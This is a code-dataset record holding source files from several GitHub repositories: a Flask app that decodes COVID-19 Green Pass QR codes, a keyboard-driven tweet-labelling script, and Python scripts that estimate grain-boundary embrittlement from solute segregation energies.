0.6759411096572876, "avg_line_length": 14.666666984558105, "blob_id": "eda767ef030546221b6941c0c4ade9422b8b3ea6", "content_id": "de39f58db9f870e18ac717452d3775a1d3f1e7ba", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 611, "license_type": "permissive", "max_line_length": 22, "num_lines": 39, "path": "/requirements.txt", "repo_name": "sciaso/greenpass-covid19-qrcode-decoder", "src_encoding": "UTF-8", "text": "aniso8601==9.0.1\nasgiref==3.3.4\nattrs==21.2.0\nBabel==2.9.1\nbase45==0.2.1\ncftime==1.5.0\nclick==8.0.1\ncycler==0.10.0\nDjango==3.2.4\ndjango-qrcode==0.3\nFlask==2.0.1\nFlask-Babel==2.0.0\nFlask-RESTful==0.3.9\nFlask-SSLify==0.1.5\nflynn==1.0.0b2\ngunicorn==20.0.4\nimage==1.5.33\nitsdangerous==2.0.1\nJinja2==3.0.1\njoblib==1.0.1\njsonschema==3.2.0\nkiwisolver==1.3.1\nMarkupSafe==2.0.1\nnumpy==1.21.0\npandas==1.2.5\nPillow==8.2.0\npyerfa==2.0.0\npyparsing==2.4.7\nPyPDF2==1.26.0\npyrsistent==0.17.3\npython-dateutil==2.8.1\npytz==2021.1\npyzbar==0.1.8\nscipy==1.7.0\nsix==1.16.0\nsqlparse==0.4.1\ntqdm==4.61.1\nWerkzeug==2.0.1\nxarray==0.15.1\n" }, { "alpha_fraction": 0.4671940505504608, "alphanum_fraction": 0.47045138478279114, "avg_line_length": 34.22950744628906, "blob_id": "d1cbf31202a4f0e90de7047efccaa48c2e073c41", "content_id": "6957d2a441e3ae72e048f9623eebd16adfa1bedb", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2149, "license_type": "permissive", "max_line_length": 117, "num_lines": 61, "path": "/lib/datamapper.py", "repo_name": "sciaso/greenpass-covid19-qrcode-decoder", "src_encoding": "UTF-8", "text": "import json\nfrom urllib.request import urlopen\n\n\nclass DataMapperError(Exception):\n pass\n\n\nclass DataMapper:\n qr_data = None\n schema = None\n\n json = ''\n new_json = {}\n\n def _save_json(self, data, schema, level=0):\n\n for key, value in data.items():\n try:\n description = schema[key].get('title') or schema[key].get('description') or key\n description, _, _ = description.partition(' - ')\n if type(value) is dict:\n self.json += '<p>' + ('&nbsp;' * level) + '<strong>' + description + '</strong></p>'\n _, _, sch_ref = schema[key]['$ref'].rpartition('/')\n self._save_json(value, self.schema['$defs'][sch_ref]['properties'], level + 1)\n elif type(value) is list:\n self.json += '<p>' + ('&nbsp;' * level) + '<strong>' + description + '</strong></p>'\n _, _, sch_ref = schema[key]['items']['$ref'].rpartition('/')\n for v in value:\n self._save_json(v, self.schema['$defs'][sch_ref]['properties'], level + 1)\n else:\n self.json += '<p>' + ('&nbsp;' * level) + '<strong>' + description + '</strong>' + ':' + str(\n value) + '</p>'\n except KeyError:\n print('error keys')\n print(data)\n\n def __set_schema(self, schema_url):\n sch = urlopen(schema_url)\n self.schema = json.load(sch)\n\n def __init__(self, qr_data, schema_url, params_string=False):\n\n i = -260\n j = 1\n\n if params_string:\n i = str(i)\n j = str(j)\n\n self.json = ''\n self.qr_data = qr_data[i][j]\n self.__set_schema(schema_url)\n\n def convert_json(self):\n if self.qr_data is None:\n raise DataMapperError(\"QR_DATA_IS_WRONG\")\n if self.schema is None:\n raise DataMapperError(\"SCHEMA_IS_WRONG\")\n self._save_json(self.qr_data, self.schema['properties'])\n return self.json\n" }, { "alpha_fraction": 0.6358520984649658, "alphanum_fraction": 0.645900309085846, "avg_line_length": 33.56944274902344, "blob_id": "d211bb352826eadff4004732749b5c87479e61f7", "content_id": "53aeb048b2f9c7c91fcebbde61b57d6c097943ff", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2488, "license_type": "permissive", "max_line_length": 129, "num_lines": 72, "path": "/app.py", "repo_name": "sciaso/greenpass-covid19-qrcode-decoder", "src_encoding": "UTF-8", "text": "from flask import Flask, redirect, request, render_template\nfrom os.path import splitext\nfrom flask_sslify import SSLify\nfrom flask_babel import Babel, gettext\nimport os\nfrom lib.greenpass import GreenPassDecoder as greenpass_decoder\n\nis_prod = os.environ.get('PRODUCTION', None)\nga_id = os.environ.get('GA_ID', None)\nsharethis_script_src = os.environ.get('SHARETHIS_SCRIPT_SRC', None)\napp_url = os.environ.get('APP_URL', None)\n\napp = Flask(__name__)\n\napp.config['BABEL_DEFAULT_LOCALE'] = 'en'\napp.config['MAX_CONTENT_LENGTH'] = 4096 * 1024\napp.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png', '.jpeg']\napp.config['GITHUB_PROJECT'] = 'https://github.com/debba/greenpass-covid19-qrcode-decoder'\napp.config[\n 'DCC_SCHEMA'] = 'https://raw.githubusercontent.com/ehn-dcc-development/ehn-dcc-schema/release/1.3.0/DCC.combined-schema.json'\napp.glb_schema = {}\napp.converted_schema = ''\napp.config['LANGUAGES'] = {\n 'en': 'English',\n 'it': 'Italiano'\n}\nbabel = Babel(app)\n\n\n@babel.localeselector\ndef get_locale():\n return request.accept_languages.best_match(app.config['LANGUAGES'].keys())\n\n\nif is_prod:\n sslify = SSLify(app)\n\n\n@app.context_processor\ndef inject_user():\n return dict(github_project=app.config['GITHUB_PROJECT'], is_prod=is_prod, ga_id=ga_id,\n sharethis_script_src=sharethis_script_src, app_url=app_url,\n app_name=gettext('Green Pass COVID-19 QRCode Decoder'))\n\n\n@app.route('/', methods=['GET'])\ndef home():\n return render_template('home.html')\n\n\n@app.route('/qrdata', methods=['GET', 'POST'])\ndef qrdata():\n if request.method == 'POST':\n if request.files['image'].filename != '':\n app.converted_schema = ''\n image = request.files['image']\n filename = image.filename\n file_ext = splitext(filename)[1]\n if filename != '':\n if file_ext not in app.config['UPLOAD_EXTENSIONS']:\n return render_template('error.html', error='UPLOAD_EXTENSIONS_ERROR', file_ext=file_ext), 400\n\n try:\n decoder = greenpass_decoder(image.stream)\n return render_template('data.html', data=decoder.decode(app.config['DCC_SCHEMA']))\n except (ValueError, IndexError) as e:\n print(e)\n return render_template('error.html', error='UPLOAD_IMAGE_NOT_VALID'), 400\n\n return render_template('error.html', error='UPLOAD_IMAGE_WITH_NO_NAME'), 500\n else:\n return redirect('/')" } ]
6
kaustavbhattacharjee/labeling
https://github.com/kaustavbhattacharjee/labeling
e5826fbe9f69d0ac53b3c655b05c403422d4a617
4504248bcf339828ce48d1407c22070212edf3b4
14be9d8dd411c788d6b9549850b30859cef86549
refs/heads/main
2023-05-01T07:30:59.285102
2021-05-18T18:48:53
2021-05-18T18:48:53
368,621,789
0
0
null
2021-05-18T17:55:37
2021-05-18T17:04:55
2021-05-18T17:04:50
null
[ { "alpha_fraction": 0.7123456597328186, "alphanum_fraction": 0.7148148417472839, "avg_line_length": 34.21739196777344, "blob_id": "7dd51a76c7d8e2645be4d39d584cf74776f45e9e", "content_id": "5868f4662c7524f78ca7ce42bb1f312b808f3a13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 816, "license_type": "no_license", "max_line_length": 94, "num_lines": 23, "path": "/main.py", "repo_name": "kaustavbhattacharjee/labeling", "src_encoding": "UTF-8", "text": "# This is a sample Python script.\n\n# Press ⌃R to execute it or replace it with your code.\n# Press Double ⇧ to search everywhere for classes, files, tool windows, actions, and settings.\nfrom utils import Tweet\n\ndef print_hi(name):\n # Use a breakpoint in the code line below to debug your script.\n print(f'Hi, {name}') # Press ⌘F8 to toggle the breakpoint.\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n print_hi('Start Labeling')\n\n# See PyCharm help at https://www.jetbrains.com/help/pycharm/\n#PATH = \"Jun/test.csv\"\nPATH = \"Kebby/MarchNonExpertsManualLabel3.csv\" #first save the .xlsx file as .csv\n\ntweet = Tweet()\ntweets = tweet.import_data(PATH, \"csv\")\ntweets_labeled = tweet.create_labels(tweets)\ntweet.save_labels(tweets_labeled, PATH, \"csv\", index=False)\n" }, { "alpha_fraction": 0.701812207698822, "alphanum_fraction": 0.7166392207145691, "avg_line_length": 18.580644607543945, "blob_id": "f7fe91df64cc5a24c0ce4262f19fa7c1936b842a", "content_id": "290e9eb521c8869090d3de3d62e230d3d7c6f4d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 607, "license_type": "no_license", "max_line_length": 95, "num_lines": 31, "path": "/README.md", "repo_name": "kaustavbhattacharjee/labeling", "src_encoding": "UTF-8", "text": "# Labelling Non Expert Tweets\n\n## How to run\n\nStep 1:\nClone this repository on your machine.\n\nStep 2:\nRun this command\n`python3 -m pip install -r requirements.txt`\n\nStep3:\nRun this command:\n`python3 main.py`\n\nStep 4:\nPress \n0: fact\n1: opinion\n2: misinformation\nS: Skip Row\nQ: Quit and Save\n\n## Jun\n\nonce start running:\n\n- check if you assigned key autofill that might be triggered by typing: z, x, c, q\n- Type z, x, c to assign label \"fact\", \"opinion\", \"anti-fact\", or a random key to skip the row.\n- Type q to quit and save the labels to the original csv file.\n- You can reassign the keys in the utils.py.\n" }, { "alpha_fraction": 0.4916132986545563, "alphanum_fraction": 0.4949679672718048, "avg_line_length": 28.799999237060547, "blob_id": "c5e940b4d2edf2cce975560af197ac2c8df2e4cc", "content_id": "bf49f50d9767fdc41e25a6ab76ce865ee4ece79a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3279, "license_type": "no_license", "max_line_length": 105, "num_lines": 110, "path": "/utils.py", "repo_name": "kaustavbhattacharjee/labeling", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport csv\nimport os\nfrom pandas import ExcelWriter\n\n\n\nclass Tweet:\n def import_data(self, PATH, type):\n if type == \"xlsx\":\n xl = pd.ExcelFile(PATH)\n data = xl.parse(\"Sheet1\")\n if type == \"csv\":\n data = pd.read_csv(PATH)\n # if type == \"csv\":\n # with open(PATH, newline='') as f:\n # reader = csv.reader(f)\n # data = list(reader)\n return data\n\n def label_key2char(self, key):\n \"\"\"\n :param num: the input x,y,z from keyboard\n :return: fact, opinion, anti-fact, if other than x,y,z return \"\"\n \"\"\"\n if key == \"0\":\n return \"fact\"\n elif key == \"1\":\n return \"opinion\"\n elif key == \"2\":\n return \"misinformation\"\n else:\n return \"\"\n\n def create_labels(self, df):\n \"\"\"\n :param df: imported data in dataframe format\n :return: dataframe with added label in ManualLabel column\n \"\"\"\n labels = df[\"ManualLabel\"].tolist()\n for index, row in df.iterrows():\n if pd.isna(row[\"ManualLabel\"]):\n print(\"===========\")\n print(\"Tweet Text\")\n print(row[\"Tweet Text\"])\n print(\"===========\")\n print(\"Row Number: \"+ str(index))\n print(\"Subjective: \" + str(row[\"SubjectivityScores\"]))\n print(\"Sentiment: \" + str(row[\"FlairSentimentScore\"]) + \" \" + str(row[\"FlairSentiment\"]))\n print(\"===========\")\n print('Classify as fact(0), opinion(1), misinformation(2) OR Skip(s), Quit(q): ')\n print(\"Your Label:\")\n getch = _Getch()\n label = getch()\n label_char = self.label_key2char(label)\n os.system('cls' if os.name == 'nt' else 'clear')\n if label == \"q\":\n break\n labels[index] = label_char\n else:\n continue\n df.drop(columns=[\"ManualLabel\"], inplace=True)\n df[\"ManualLabel\"] = labels\n return df\n\n def save_labels(self, tweets_labeled, PATH, type, index):\n df = tweets_labeled\n if type == \"xlsx\":\n writer = ExcelWriter(PATH)\n df.to_excel(writer, 'Sheet1', index=index)\n writer.save()\n if type == \"csv\":\n df.to_csv(PATH, index=index)\n\n\nclass _Getch:\n \"\"\"Gets a single character from standard input. Does not echo to the\nscreen.\"\"\"\n def __init__(self):\n try:\n self.impl = _GetchWindows()\n except ImportError:\n self.impl = _GetchUnix()\n\n def __call__(self): return self.impl()\n\n\nclass _GetchUnix:\n def __init__(self):\n import tty, sys\n\n def __call__(self):\n import sys, tty, termios\n fd = sys.stdin.fileno()\n old_settings = termios.tcgetattr(fd)\n try:\n tty.setraw(sys.stdin.fileno())\n ch = sys.stdin.read(1)\n finally:\n termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)\n return ch\n\n\nclass _GetchWindows:\n def __init__(self):\n import msvcrt\n\n def __call__(self):\n import msvcrt\n return msvcrt.getch()\n\n" }, { "alpha_fraction": 0.7868852615356445, "alphanum_fraction": 0.7868852615356445, "avg_line_length": 14, "blob_id": "2d2377b4e29ebf97dfcae370f7c39241573b4392", "content_id": "1397ebecd580147d1da0dbb539a91e85f12233c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 61, "license_type": "no_license", "max_line_length": 35, "num_lines": 4, "path": "/requirements.txt", "repo_name": "kaustavbhattacharjee/labeling", "src_encoding": "UTF-8", "text": "pandas\nopenpyxl\n#if using Windows, uncomment below:\n#msvcrt\n\n" } ]
4
dspearot/Embrittling-Estimator
https://github.com/dspearot/Embrittling-Estimator
42aba5484feb5025a3d4394397ba9d1ed04c089b
504c8655aeb266510e2781db96b638588123df3c
0c72f7b7d923b61f79b6f2fe8264bc3130d52156
refs/heads/main
2022-12-29T03:40:56.657681
2020-10-09T14:34:38
2020-10-09T14:34:38
302,044,185
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7539325952529907, "alphanum_fraction": 0.7561797499656677, "avg_line_length": 61.5, "blob_id": "1df541c36fa12a88749ebfc808dac1b8fddc9db7", "content_id": "e82ab0c4314344b505414363498d076f946f8000", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 890, "license_type": "no_license", "max_line_length": 153, "num_lines": 14, "path": "/README.txt", "repo_name": "dspearot/Embrittling-Estimator", "src_encoding": "UTF-8", "text": "This code suite is a supplement for the journal article titled:\r\n\"Spectrum of Embrittling Potencies and Relation to Properties of Symmetric-Tilt Grain Boundaries\"\r\n\r\n+ This code suite assumes the density of states already exists (See \"./Results/Fi_GB.csv\" for the formatting).\r\n+ The structure of the \"./GBs/\" folder should be preserved if additional GBs are added to the folder.\r\n+ In the \"Results/\" folder of each sample there are two files. These are\r\n\t-> GBEnergies.dat \r\n\t-> FSEnergies.dat\r\n+ For \"GBEnergies.dat\" and \"FSEnergies.dat\" files, only first and last columns are used. Number of columns should not be modified for the script to work.\r\n+ \"GBEnergies.dat\" and \"FSEnergies.dat\" contain the segregation energies of same atoms at a GB and a FS, respectively.\r\n+ The order of execution:\r\n\t1) Population.py\r\n\t2) Samples.py\r\n+ This code suite requires numpy and pandas libraries.\t\r\n" }, { "alpha_fraction": 0.6003997325897217, "alphanum_fraction": 0.6114698648452759, "avg_line_length": 36.94610595703125, "blob_id": "879f7a61dd009bcb39c8db9efce7b03c60f3b8a9", "content_id": "6bd8b410cf57aa765a192653b4ff2da6f5a988de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6504, "license_type": "no_license", "max_line_length": 127, "num_lines": 167, "path": "/Scripts/Population.py", "repo_name": "dspearot/Embrittling-Estimator", "src_encoding": "UTF-8", "text": "# ---------------------------------------------------------------------------\r\n# ---------------------------------------------------------------------------\r\n# This code is a supplement for the journal article titled:\r\n# \"Spectrum of Embrittling Potencies and Relation to Properties of\r\n# Symmetric-Tilt Grain Boundaries\"\r\n# ------------------\r\n# This code performs the following tasks:\r\n# 1) Obtains density of states from the previous step\r\n# 2) Calculates Xi and Pi (check the paper for definitions) at the population\r\n# level (Fig.4)\r\n# 3) Write Xi and Pi calculated in this step to a data frame, to be processed\r\n# at the sample level\r\n# --- Definitions and Abbreviations --\r\n# GB: Grain boundary\r\n# FS: Free surface\r\n# ------------------\r\n# Authors: Doruk Aksoy (1), Rémi Dingreville (2), Douglas E. Spearot (1,*)\r\n# (1) University of Florida, Gainesville, FL, USA\r\n# (2) Center for Integrated Nanotechnologies, Sandia National Laboratories,\r\n# Albuquerque, NM, USA\r\n# (*) dspearot@ufl.edu\r\n# ---------------------------------------------------------------------------\r\n# ---------------------------------------------------------------------------\r\n#%% Imports\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n# %% Define functions\r\ndef calcXtot(delta_E_seg_GB_i,Fi,X_bulk):\r\n '''\r\n Calculate total solute concentration from bulk solute concentration.\r\n\r\n Parameters\r\n ----------\r\n X_bulk : Bulk solute concentration\r\n delta_E_seg_GB_i : All segregation energies for each site type i\r\n Fi : Density of states for each site type within the population\r\n\r\n Returns\r\n -------\r\n X_tot : Total solute concentration within the population\r\n\r\n '''\r\n # Number of site types\r\n n_site_types = np.size(Fi,axis=0)\r\n # Initialize and calculate the probability distribution function for each\r\n # site type i with the given bulk concentration\r\n Xi_with_bulk = np.zeros(n_site_types)\r\n for i in range(n_site_types): Xi_with_bulk[i] = 1 / (1 + ((1 - X_bulk) / X_bulk) * np.exp( delta_E_seg_GB_i[i] / (kB * T)))\r\n # Calculate the effective solute concentration\r\n X_bar = np.sum(Fi * Xi_with_bulk)\r\n # Return the total solute concentration\r\n return ((1 - f_int) * X_bulk + f_int * X_bar)\r\n\r\ndef fromXtotToXbulk(delta_E_seg_GB_i,Fi,X_tot,tol):\r\n '''\r\n Calculate bulk solute concentration from total solute concentration using\r\n midpoint trial and improvement solver.\r\n\r\n Parameters\r\n ----------\r\n delta_E_seg_GB_i : All segregation energies for each site type i\r\n Fi : Density of states for each site type\r\n X_tot : Total solute concentration\r\n tol : Tolerance\r\n\r\n Returns\r\n -------\r\n If a result is found, return X_bulk.\r\n\r\n '''\r\n # Initial lower and upper estimates\r\n x_lo = 0.0\r\n x_hi = X_tot*2\r\n # Initial guess\r\n x_0 = (x_lo + x_hi)/2\r\n # Calculate a trial value using calcXtot function\r\n X_tot_trial = calcXtot(delta_E_seg_GB_i,Fi,x_0)\r\n # Initialize iteration counter\r\n iter_count = 0\r\n # Maximum number of iterations\r\n max_iter = 100\r\n # Check if the result is within the tolerance and number of iterations\r\n # is less than the maximum value\r\n while((np.abs(X_tot_trial - X_tot) > tol) and (iter_count < max_iter)):\r\n if(X_tot_trial > X_tot):\r\n x_hi = x_0\r\n x_0 = (x_hi + x_lo)/2 # Next guess\r\n else:\r\n x_lo = x_0\r\n x_0 = (x_hi + x_lo)/2 # Next guess\r\n # Calculate the new trial value using calcXtot function\r\n X_tot_trial = calcXtot(delta_E_seg_GB_i,Fi,x_0)\r\n # Increment the iteration counter\r\n iter_count +=1\r\n # Check whether a total solute concentration can be found\r\n if (iter_count == max_iter):\r\n print(\"Could not find a value.\")\r\n return (0)\r\n else:\r\n return (x_0)\r\n\r\ndef calcPopProp(delta_E_seg_GB_i,Fi,X_tot):\r\n '''\r\n Calculate population properties.\r\n\r\n Parameters\r\n ----------\r\n delta_E_seg_GB_i : All segregation energies for each site type i\r\n Fi : Density of states for each site type\r\n X_tot : Total solute concentration\r\n\r\n Returns\r\n -------\r\n X_bulk : Bulk solute concentration\r\n Xi : Fraction of occupied type i sites\r\n Pi : Solute occupancy density\r\n X_bar : Effective solute concentration\r\n delta_E_bar_seg_GB_i : Effective segregation energy per site type i\r\n delta_E_bar_seg_GB : Total effective segregation energy\r\n\r\n '''\r\n # Calculate the bulk concentration using fromXtotToXbulk function\r\n X_bulk = fromXtotToXbulk(delta_E_seg_GB_i,Fi,X_tot,1E-4)\r\n # Raise an exception if a bulk solute concentration cannot be calculated with given total solute concentration\r\n if (X_bulk==0):\r\n raise Exception('Error: Cannot calculate a bulk solute concentration with given total solute concentration.')\r\n # Calculate the site specific probability distribution function and convert it to numpy array\r\n Xi = [(1/(1+ ((1-X_bulk)/X_bulk) * np.exp( delta_E_seg_GB_i[i] / (kB*T)))) for i in range(np.size(delta_E_seg_GB_i))]\r\n Xi = np.array(Xi)\r\n # Site occupancy\r\n Pi = Fi * Xi\r\n # Effective solute concentration\r\n X_bar = np.sum(Pi)\r\n # Effective segregation energy for each site type i\r\n delta_E_bar_seg_GB_i = (1/(X_bar*(1-X_bar))) * (Fi * delta_E_seg_GB_i * Xi * (1-Xi))\r\n # Effective segregation energy\r\n delta_E_bar_seg_GB = np.sum(delta_E_bar_seg_GB_i)\r\n # Return all calculated properties\r\n return (X_bulk,Xi,Pi,X_bar,delta_E_bar_seg_GB_i,delta_E_bar_seg_GB)\r\n\r\n# %% MAIN\r\n# Read-in normalized density of states (Format: Index/Energies/Frequencies)\r\ndf_Fi_GB = pd.read_csv(\"../Results/Fi_GB.csv\",index_col = 0)\r\n\r\n# Segregation energies for each site type i\r\ndelta_E_seg_GB_i = np.array(df_Fi_GB['Energy'])\r\n# Density of states\r\nFi = np.array(df_Fi_GB['Freq'])\r\n\r\n# %% Variables\r\n# Total solute concentration\r\nX_tot = 15/100 # no of solute atoms/no of GB atoms\r\n# Fraction of interface sites to all segregation sites\r\nf_int = 0.162\r\n# Boltzmann Constant in eV K-1\r\nkB = 0.00008617333262\r\n# Temperature\r\nT = 300 # K\r\n\r\n# %% Calculate properties corresponding to the GB population using calcPopProp function\r\n(X_bulk,Xi,Pi,X_bar,delta_E_bar_seg_GB_i,delta_E_bar_seg_GB) = calcPopProp(delta_E_seg_GB_i,Fi,X_tot)\r\n\r\n# %% Create a data frame with the population properties\r\ndf_Pop = pd.DataFrame(np.transpose([delta_E_seg_GB_i, Fi, Xi, Pi]),columns=['delta_E_seg_GB_i','Fi','Xi','Pi']).astype(float)\r\n# Convert data frame to csv\r\ndf_Pop.to_csv(\"../Results/Pop.csv\")\r\n" }, { "alpha_fraction": 0.6025031208992004, "alphanum_fraction": 0.6080099940299988, "avg_line_length": 38.56852722167969, "blob_id": "35f0fb6c8fd7040b1dd49e86a46e4b9c4e4ea04b", "content_id": "7e73b2700a7e82ffb93ffc2c66f7d9d3adef8172", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7990, "license_type": "no_license", "max_line_length": 131, "num_lines": 197, "path": "/Scripts/Samples.py", "repo_name": "dspearot/Embrittling-Estimator", "src_encoding": "UTF-8", "text": "# ---------------------------------------------------------------------------\r\n# ---------------------------------------------------------------------------\r\n# This code is a supplement for the journal article titled:\r\n# \"Spectrum of Embrittling Potencies and Relation to Properties of\r\n# Symmetric-Tilt Grain Boundaries\"\r\n# ------------------\r\n# This code performs the following tasks:\r\n# 1) Reads in Fi, Xi, Pi from the previous step\r\n# 2) Calculates site-specific properties that are shown in Table 2 and Fig. 6\r\n# 3) Calculates collective-behavior properties that are shown in Table 3 and Fig. 5\r\n# 4) Generates all data frames for plotting\r\n# --- Definitions and Abbreviations --\r\n# GB: Grain boundary\r\n# FS: Free surface\r\n# ------------------\r\n# Authors: Doruk Aksoy (1), Rémi Dingreville (2), Douglas E. Spearot (1,*)\r\n# (1) University of Florida, Gainesville, FL, USA\r\n# (2) Center for Integrated Nanotechnologies, Sandia National Laboratories,\r\n# Albuquerque, NM, USA\r\n# (*) dspearot@ufl.edu\r\n# ---------------------------------------------------------------------------\r\n# ---------------------------------------------------------------------------\r\n#%% Imports\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom os import listdir,path\r\n\r\n# %% Define functions\r\ndef getNumOfAtoms(file_path, file_name):\r\n '''\r\n Obtain number of atoms from the file.\r\n\r\n Parameters\r\n ----------\r\n file_path : File path\r\n file_name : Name of the file\r\n\r\n Returns\r\n -------\r\n Number of atoms\r\n\r\n '''\r\n with open(path.join(file_path,file_name), 'r') as atoms_file:\r\n # Number of atoms is equal to number of lines without the header\r\n lineCount = 0\r\n for line in atoms_file:\r\n lineCount += 1\r\n return int(lineCount)-1\r\n\r\ndef getEnergies(file_path, file_name, arr):\r\n '''\r\n Function to obtain energies from file\r\n\r\n Parameters\r\n ----------\r\n file_path : File path\r\n file_name : Name of the file\r\n arr : Array to write energies\r\n\r\n '''\r\n with open(path.join(file_path,file_name), 'r') as results_file:\r\n for ind,line in enumerate(results_file):\r\n # Skip the header\r\n if \"#\" not in line:\r\n line = line.split()\r\n for j in range(int(np.size(line))):\r\n arr[int(ind)-1,j] = line[j]\r\n\r\ndef segEngOcc(energies,col_num,NDIGITS):\r\n '''\r\n Function to obtain energies from file\r\n\r\n Parameters\r\n ----------\r\n energies : Energies obtained from simulations\r\n col_num : Segregation energy column number\r\n NDIGITS : Number of digits to consider when looking at unique segregation\r\n energies\r\n\r\n Returns\r\n -------\r\n DE_seg_i_GB : Segregation energy of site type i\r\n N_hat_i_GB : Number of occurences of the segregation energy of site type i\r\n num_site_types : Total number of unique site types\r\n site_type_ind : Indices of matching energies between DE_seg_i_GB array and energies array\r\n\r\n '''\r\n\r\n # Round energies by the given number of digits, and then find number of unique energies and number of occurences\r\n DE_seg_i_GB,N_hat_i_GB = np.unique(np.round(energies[np.nonzero(energies[:,col_num]),col_num],NDIGITS), return_counts=True)\r\n # Number of site types\r\n num_site_types = int(np.size(DE_seg_i_GB))\r\n # We will use the site_type_ind list to match the site types between GBs and FSs.\r\n site_type_ind = []\r\n # Now that we have matched the rounded energies, find originals and put back into DE_seg_i_GB array\r\n for i in range(num_site_types):\r\n site_type_ind.append(np.where(np.round(energies[np.nonzero(energies[:,col_num]),col_num],NDIGITS) == DE_seg_i_GB[i])[1][0])\r\n DE_seg_i_GB[i] = energies[site_type_ind[i],col_num]\r\n return (DE_seg_i_GB, N_hat_i_GB, num_site_types, site_type_ind)\r\n# %% MAIN\r\n# Read in data frames\r\ndf_Pop = pd.read_csv(\"../Results/Pop.csv\",index_col = 0).astype(float)\r\n\r\n# From data frame to arrays\r\ndelta_E_seg_GB_i = np.array(df_Pop['delta_E_seg_GB_i'])\r\nPi = np.array(df_Pop['Pi'])\r\n\r\n# Round by this number when comparing energies\r\nNDIGITS = 3\r\n\r\n# Perform simulations for all given models\r\nallSims = listdir('../GBs/')\r\n\r\n# %% Create a data frame to store all results\r\n# Define columns (three properties shown in Fig. 5)\r\ncolumns_all = [\"DE_hat_b\",\"PR_hat_GB\",\"E_hat_b\"]\r\n# Tilt and GB normals as indices of the data frame\r\ntilt_axes = [sim.split('_')[0] for sim in allSims]\r\nGB_normals = [sim.split('_')[1] for sim in allSims]\r\n# Levels required for a multi index data frame\r\nlevels_all = list(zip(*[tilt_axes, GB_normals]))\r\n# Define indices\r\nindex_all = pd.MultiIndex.from_tuples(levels_all, names=['Tilt', 'Normal'])\r\n# Initialize the data frame\r\ndf_all = pd.DataFrame(index = index_all, columns=columns_all)\r\n\r\n#%% For each sample\r\nfor indSim,sim in enumerate(allSims):\r\n\r\n # Obtain GB normal and tilt axes from the folder names\r\n GB_normal = str(sim.split('_')[1])\r\n GB_tilt = str(sim.split('_')[0])\r\n\r\n # Model path\r\n model_path = path.join(\"../GBs/\", str(sim) + \"/\")\r\n\r\n # Read in number of GB atoms considered in the simulation\r\n N_hat_GB = getNumOfAtoms(path.join(model_path, \"Results/\"),\"GBEnergies.dat\")\r\n\r\n # Initialize an array for energies of individual sites in GB models\r\n GBenergies = np.zeros((N_hat_GB,5))\r\n # Initialize an array for energies of individual sites in FS models\r\n FSenergies = np.zeros((N_hat_GB,5))\r\n\r\n try:\r\n # Read energies for each sample\r\n getEnergies(path.join(model_path, \"Results/\"),\"GBEnergies.dat\",GBenergies)\r\n getEnergies(path.join(model_path, \"Results/\"),\"FSEnergies.dat\",FSenergies)\r\n\r\n # Sort by atom ID\r\n GBenergies = GBenergies[np.argsort(GBenergies[:,0]),:]\r\n FSenergies = FSenergies[np.argsort(FSenergies[:,0]),:]\r\n\r\n # Weed out non-matching simulations (if one of two simulations per atom ID is failed)\r\n # Find out the intersection vector of two arrays, then delete rows with different atom IDs\r\n for ind,val in enumerate(np.asarray(np.intersect1d(GBenergies[:,0],FSenergies[:,0]),dtype=int)):\r\n if (not np.searchsorted(GBenergies[:,0],val) == ind):\r\n GBenergies = np.delete(GBenergies,ind,0)\r\n if (not np.searchsorted(FSenergies[:,0],val) == ind):\r\n FSenergies = np.delete(FSenergies,ind,0)\r\n\r\n # Update number of atoms\r\n N_hat_GB = np.size(GBenergies,axis=0)\r\n\r\n # Find unique segregation energies and their number of occurences using segEngOcc function\r\n DE_seg_i_GB, N_hat_i_GB, num_site_types_GB, site_type_ind_GB = segEngOcc(GBenergies,4,NDIGITS)\r\n # Site type indices should be preserved after cleavage (See Section 4)\r\n DE_seg_i_FS = FSenergies[site_type_ind_GB,4]\r\n # Embrittling potencies\r\n DE_b_i = GBenergies[site_type_ind_GB,4]-FSenergies[site_type_ind_GB,4]\r\n\r\n # Site occupancies\r\n P_bar_i_GB = np.zeros(num_site_types_GB)\r\n\r\n # Obtain P_bar_i_GB from the population (closest value)\r\n for i in range(num_site_types_GB): P_bar_i_GB[i] = Pi[(np.abs(delta_E_seg_GB_i - DE_seg_i_GB[i])).argmin()]\r\n\r\n # Rescaled site occupancy for each site type i\r\n PR_hat_i_GB = P_bar_i_GB/np.sum(np.multiply(P_bar_i_GB, N_hat_i_GB))\r\n\r\n # Site specific embrittling estimator\r\n E_hat_b_i = np.multiply(PR_hat_i_GB,DE_b_i)\r\n\r\n # Sample embrittling estimator\r\n E_hat_b = np.sum(np.multiply(np.multiply(PR_hat_i_GB,N_hat_i_GB),DE_b_i))/(N_hat_GB)\r\n\r\n # Write properties to the all results data frame\r\n df_all['DE_hat_b'][GB_tilt,GB_normal] = np.sum(np.mean(np.multiply(DE_b_i,N_hat_i_GB)))/N_hat_GB\r\n df_all['PR_hat_GB'][GB_tilt,GB_normal] = np.sum(np.mean(np.multiply(PR_hat_i_GB,N_hat_i_GB)))/N_hat_GB\r\n df_all['E_hat_b'][GB_tilt,GB_normal] = E_hat_b\r\n\r\n except:\r\n print(indSim+1,sim,\"Properties not calculated!\")\r\n continue\r\n\r\n# %% To csv\r\ndf_all.to_csv(\"../Results/AllResults.csv\")" } ]
3
codingconnor112/Max
https://github.com/codingconnor112/Max
